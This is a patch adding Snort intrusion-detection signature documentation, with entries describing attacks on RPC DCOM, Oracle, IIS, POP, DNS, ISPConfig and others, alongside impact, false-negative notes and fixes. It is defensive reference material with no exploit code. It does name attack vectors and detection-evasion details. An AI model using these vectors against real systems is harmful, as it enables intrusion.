+More details can be found on the various sites listed below as the impact and details vary from system to system.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Supply a large amount of data after the RCPT TO: header in your SMTP flow.
+
+--
+Ease of Attack:
+DoS: rather easy
+Security breach: probably hard
+
+--
+False Positives:
+These will occur rather frequently with the given rule. They are most common when subscribed to mailinglists.
+
+--
+False Negatives:
+None Known
+
+
+--
+Corrective Action:
+Upgrade software according to the instructions of your software manufacturer.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Hugo van der Kooij <hugo@vanderkooij.org>
+Josh Gray	Edits
+
+-- 
+Additional References:
+http://www.securiteam.com/exploits/6C00O1F00Y.html
+http://www.synnergy.net/downloads/advisories/SLA-2000-01.pakmail.txt
+http://online.securityfocus.com/bid/748
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3322.txt
+++ snort-2.8.5.2/doc/signatures/3322.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3322
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/254.txt
+++ snort-2.8.5.2/doc/signatures/254.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+254
+
+--
+Summary:
+This event is generated when a specific DNS response is returned. In this case, there are no DNS authority records for the queried address record and has a DNS time-to-live value of one minute. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile IP).
+
+--
+Detailed Information:
+This is presumably from an attacker engaged in a race condition to respond to a legitimate DNS query.  An attacker may sniff a DNS query requeting an address record and attempt to respond before an actual DNS server can.  The spoofed response is atypical because it does not include the authoritative DNS servers in the returned record.  A legitimate DNS response will likely return the names of the authoritative DNS servers.  The response associated with this traffic has a DNS time-to-live value of one minute.  It is suspected that the TTL is set to expire quickly to eliminate any evidence of the spoofed response.
+
+--
+Affected Systems:
+Any DNS server not using DNSSEC.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent a host name to IP pairing.  The forged IP number can direct a user to a potentially hostile IP address.
+
+--
+Ease of Attack:
+The attacker has to be able to sniff DNS queries and generate spoofed responses before the actual DNS server.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+This rule uses very specific DNS flag values that could be modified.  Also, if the DNS TTL value is changed from 1, this rule will not trigger.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/647.txt
+++ snort-2.8.5.2/doc/signatures/647.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+647
+
+--
+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1081.txt
+++ snort-2.8.5.2/doc/signatures/1081.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1081
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2778.txt
+++ snort-2.8.5.2/doc/signatures/2778.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2778
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_varchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3233.txt
+++ snort-2.8.5.2/doc/signatures/3233.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3233
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1457.txt
+++ snort-2.8.5.2/doc/signatures/1457.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1457
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Blackboard CourseInfo running on  a web server. 
+
+Any valid user is able to modify the contents of the database by
+supplying form values of their choosing to the perl scripts running the
+application.
+
+--
+Affected Systems:
+	Blackboard CourseInfo 4.0 for UNIX and Windws NT
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade the application to the latest non-affected version of the
+software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000489.txt
+++ snort-2.8.5.2/doc/signatures/100000489.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000489
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ISPConfig" application running on a webserver. 
+Access to the file "login.php" using a remote file being passed as the 
+"go_info[isp][classes_root]" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "go_info[isp][classes_root]" parameter in the 
+"login.php" script used by the "ISPConfig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ISPConfig
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/993.txt
+++ snort-2.8.5.2/doc/signatures/993.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 993
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1934.txt
+++ snort-2.8.5.2/doc/signatures/1934.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1936
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command FOLD.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by 
+sending data where a line feed character should occur to a POP server 
+via the FOLD command.
+
+The FOLD command allows the user to specify a mail folder to select.  By
+specifying a very large argument, the user can exploit the buffer overflow
+condition.
+
+--
+Affected Systems
+	POP Servers
+
+--
+Attack Scenarios:
+Simple. An attacker can supply specially crafted packets to a POP server
+via the FOLD function. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Ricky Macatee <ricky.macatee@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2491.txt
+++ snort-2.8.5.2/doc/signatures/2491.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+2491
+
+--
+Summary:
+This rule no longer generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+This rule now uses flowbits and can be set to generate an event by
+modifying the rule slightly to remove the "flowbits:no_alert;" option.
+When traffic is detected that attempts to bind to the ISystemActivator
+object in MS RPC DCOM communications this rule now activates sids 2351
+and 2352 to detect exploits against this service. Cool huh?
+
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1988.txt
+++ snort-2.8.5.2/doc/signatures/1988.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1988
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1588.txt
+++ snort-2.8.5.2/doc/signatures/1588.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1588
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2816.txt
+++ snort-2.8.5.2/doc/signatures/2816.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2816
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_object_from_flavor
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2650.txt
+++ snort-2.8.5.2/doc/signatures/2650.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2650
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+
+An attacker can attempt to connect to a database using an overly
+long user name value. This can cause a buffer overflow, allowing
+an attacker to execute arbitrary code.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+       Oracle8, Oracle8i, and Oracle9i
+
+--
+Attack Scenarios:
+An attacker can attempt to connect to a database supplying the
+user an overly long value.  The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck62.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/300.txt
+++ snort-2.8.5.2/doc/signatures/300.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid: 300
+
+--
+Summary:
+This event is generated when a buffer overflow attempt is made against a host running Solaris x86.
+
+--
+Impact:
+System compromize presenting the attacker with the opportunity to
+execute arbitrary code or gain remote access to the victim host.
+
+--
+Detailed Information:
+A buffer overflow condition exists in the nlps_server daemon on certain versions of Solaris for x86 architecture.
+
+nlps_server is a network listener used for printing services. The buffer overflow can be generated by sending an excessively long string of characters to the daemon on port 2766 followed by the command to be executed.
+
+Affected Systems:
+	Solaris 2.4, 2.5 and 2.51 for x86
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2319
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2445.txt
+++ snort-2.8.5.2/doc/signatures/2445.txt
@@ -0,0 +1,82 @@
+Rule:  
+
+--
+Sid:
+2445
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in multiple versions of Internet Security Systems software.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible leading to unauthorized 
+access to the affected host. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the way that multiple ISS products parse ICQ
+messages. This can lead to execution of arbitrary code on hosts using
+the affected products.
+
+Due to insufficient bounds checking when ISS products parse protocol
+fields in ICQ SRV_META_USER data, a buffer overflow condition can be
+exploited to give an attacker the opportunity to execute arbitrary code
+and gain unauthorized administrative access to the host.
+
+It is possible that this condition can be exploited without the need for
+an established and valid ICQ session. The attacker could create packets
+originating from a host on port 4000 and send specially crafted data to 
+exploit the condition.
+
+--
+Affected Systems:
+	RealSecure Network 7.0, XPU 22.11 and prior
+	RealSecure Server Sensor 7.0 XPU 22.11 and prior
+	RealSecure Server Sensor 6.5 for Windows SR 3.10 and prior
+	Proventia A Series XPU 22.11 and prior
+	Proventia G Series XPU 22.11 and prior
+	Proventia M Series XPU 1.9 and prior
+	RealSecure Desktop 7.0 ebl and prior
+	RealSecure Desktop 3.6 ecf and prior
+	RealSecure Guard 3.6 ecf and prior
+	RealSecure Sentry 3.6 ecf and prior
+	BlackICE Agent for Server 3.6 ecf and prior
+	BlackICE PC Protection 3.6 ccf and prior
+	BlackICE Server Protection 3.6 ccf and prior
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1587.txt
+++ snort-2.8.5.2/doc/signatures/1587.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1587
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2935.txt
+++ snort-2.8.5.2/doc/signatures/2935.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2935
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1693.txt
+++ snort-2.8.5.2/doc/signatures/1693.txt
@@ -0,0 +1,70 @@
